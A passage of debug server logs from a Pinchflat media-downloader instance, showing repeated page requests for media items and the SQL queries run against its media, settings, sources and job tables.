m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563677] 18:14:01.977 [debug] QUERY OK source="settings" db=0.0ms idle=101.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:01.978 [debug] QUERY OK source="settings" db=0.0ms idle=101.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:01.978 [debug] QUERY OK source="settings" db=0.1ms idle=102.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:01.978 [info] Sent 200 in 1ms 18:14:02.077 [info] GET /sources/25/media/1562350/edit 18:14:02.077 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1562350", "source_id" => "25"} Pipelines: [:browser] 18:14:02.078 [debug] QUERY OK source="media_items" db=0.1ms idle=201.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1562350] 18:14:02.078 [debug] QUERY OK source="settings" db=0.0ms idle=100.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:02.078 [debug] QUERY OK source="settings" db=0.0ms idle=100.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:02.078 [debug] QUERY OK source="settings" db=0.0ms idle=100.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:02.079 [info] Sent 200 in 1ms 18:14:02.178 [info] GET /sources/1/media/1564162/edit 18:14:02.179 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1564162", "source_id" => "1"} Pipelines: [:browser] 18:14:02.179 [debug] QUERY OK source="media_items" db=0.1ms idle=200.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1564162] 18:14:02.179 [debug] QUERY OK source="settings" db=0.0ms idle=101.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:02.179 [debug] QUERY OK source="settings" db=0.0ms idle=101.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:02.180 [debug] QUERY OK source="settings" db=0.0ms idle=101.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:02.180 [info] Sent 200 in 1ms 18:14:02.303 [info] GET /sources/25/media/1562335/edit 18:14:02.303 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1562335", "source_id" => "25"} Pipelines: [:browser] 18:14:02.304 [debug] QUERY OK source="media_items" db=0.1ms idle=225.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1562335] 18:14:02.304 [debug] QUERY OK source="settings" db=0.0ms idle=125.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:02.304 [debug] QUERY OK source="settings" db=0.0ms idle=124.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:02.304 [debug] QUERY OK source="settings" db=0.0ms idle=125.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:02.305 [info] Sent 200 in 1ms 18:14:02.395 [info] GET /sources/25/media/1562587/edit 18:14:02.395 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1562587", "source_id" => "25"} Pipelines: [:browser] 18:14:02.395 [debug] QUERY OK source="media_items" db=0.1ms idle=215.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1562587] 18:14:02.395 [debug] QUERY OK source="settings" db=0.0ms idle=91.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:02.396 [debug] QUERY OK source="settings" db=0.0ms idle=91.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:02.396 [debug] QUERY OK source="settings" db=0.0ms idle=91.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:02.396 [info] Sent 200 in 1ms 18:14:02.486 [info] GET /sources/25/media/1564178/edit 18:14:02.486 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1564178", "source_id" => "25"} Pipelines: [:browser] 18:14:02.487 [debug] QUERY OK source="media_items" db=0.1ms idle=182.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1564178] 18:14:02.487 [debug] QUERY OK source="settings" db=0.1ms idle=91.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:02.487 [debug] QUERY OK source="settings" db=0.0ms idle=91.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:02.488 [debug] QUERY OK source="settings" db=0.0ms idle=91.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:02.488 [info] Sent 200 in 1ms 18:14:02.577 [info] GET /sources/1/media/1563843/edit 18:14:02.577 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1563843", "source_id" => "1"} Pipelines: [:browser] 18:14:02.578 [debug] QUERY OK source="media_items" db=0.1ms idle=181.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563843] 18:14:02.578 [debug] QUERY OK source="settings" db=0.0ms idle=90.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:02.578 [debug] QUERY OK source="settings" db=0.0ms idle=90.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:02.578 [debug] QUERY OK source="settings" db=0.0ms idle=90.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:02.579 [info] Sent 200 in 1ms 18:14:02.668 [info] GET /sources/25/media/1562685/edit 18:14:02.668 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1562685", "source_id" => "25"} Pipelines: [:browser] 18:14:02.668 [debug] QUERY OK source="media_items" db=0.1ms idle=180.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1562685] 18:14:02.669 [debug] QUERY OK source="settings" db=0.0ms idle=91.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:02.669 [debug] QUERY OK source="settings" db=0.0ms idle=90.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:02.669 [debug] QUERY OK source="settings" db=0.0ms idle=90.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:02.670 [info] Sent 200 in 1ms 18:14:18.074 [info] GET /sources/25/media/1563021 18:14:18.074 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1563021", "source_id" => "25"} Pipelines: [:browser] 18:14:18.074 [debug] QUERY OK source="media_items" db=0.1ms idle=210.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563021] 18:14:18.074 [debug] QUERY OK source="tasks" db=0.1ms idle=196.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1563021] 18:14:18.074 [debug] QUERY OK source="sources" db=0.2ms idle=196.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 18:14:18.075 [debug] QUERY OK source="settings" db=0.0ms idle=196.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:18.075 [debug] QUERY OK source="settings" db=0.0ms idle=196.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:18.075 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:18.075 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:14:18.076 [info] Sent 200 in 2ms 18:14:18.116 [info] GET /sources/1/media/1564171 18:14:18.116 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1564171", "source_id" => "1"} Pipelines: [:browser] 18:14:18.116 [debug] QUERY OK source="media_items" db=0.1ms idle=41.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1564171] 18:14:18.116 [debug] QUERY OK source="tasks" db=0.1ms idle=41.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1564171] 18:14:18.117 [debug] QUERY OK source="sources" db=0.1ms idle=41.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:14:18.117 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=41.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [3793546] 18:14:18.117 [debug] QUERY OK source="settings" db=0.1ms idle=41.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:18.117 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:18.117 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:18.118 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:14:18.118 [info] Sent 200 in 2ms 18:14:18.158 [info] GET /sources/1/media/1564160 18:14:18.158 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1564160", "source_id" => "1"} Pipelines: [:browser] 18:14:18.158 [debug] QUERY OK source="media_items" db=0.0ms idle=41.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1564160] 18:14:18.159 [debug] QUERY OK source="tasks" db=0.1ms idle=41.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1564160] 18:14:18.159 [debug] QUERY OK source="sources" db=0.1ms idle=41.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:14:18.159 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=41.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3779886, 3779927, 3779968, 3780009, 3780049, 3780089, 3780129, 3780168, 3780207, 3780247, 3780287, 3780327, 3780367, 3780407, 3780447, 3780487, 3780527, 3780567, 3780607, 3780647, 3780687, 3780728, 3780768, 3780808, 3780848, 3780888, 3780928, 3780968] 18:14:18.160 [debug] QUERY OK source="settings" db=0.0ms idle=42.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:18.160 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:18.160 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:14:18.160 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:14:18.162 [info] Sent 200 in 3ms 18:14:18.187 [info] GET /sources/25/media/1562557 18:14:18.187 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1562557", "source_id" => "25"} Pipelines: [:browser] 18:14:18.187 [debug] QUERY OK source="media_items" db=0.1ms idle=27.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1562557] 18:14:18.188 [debug] QUERY OK source="tasks" db=0.1ms idle=27.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1562557] 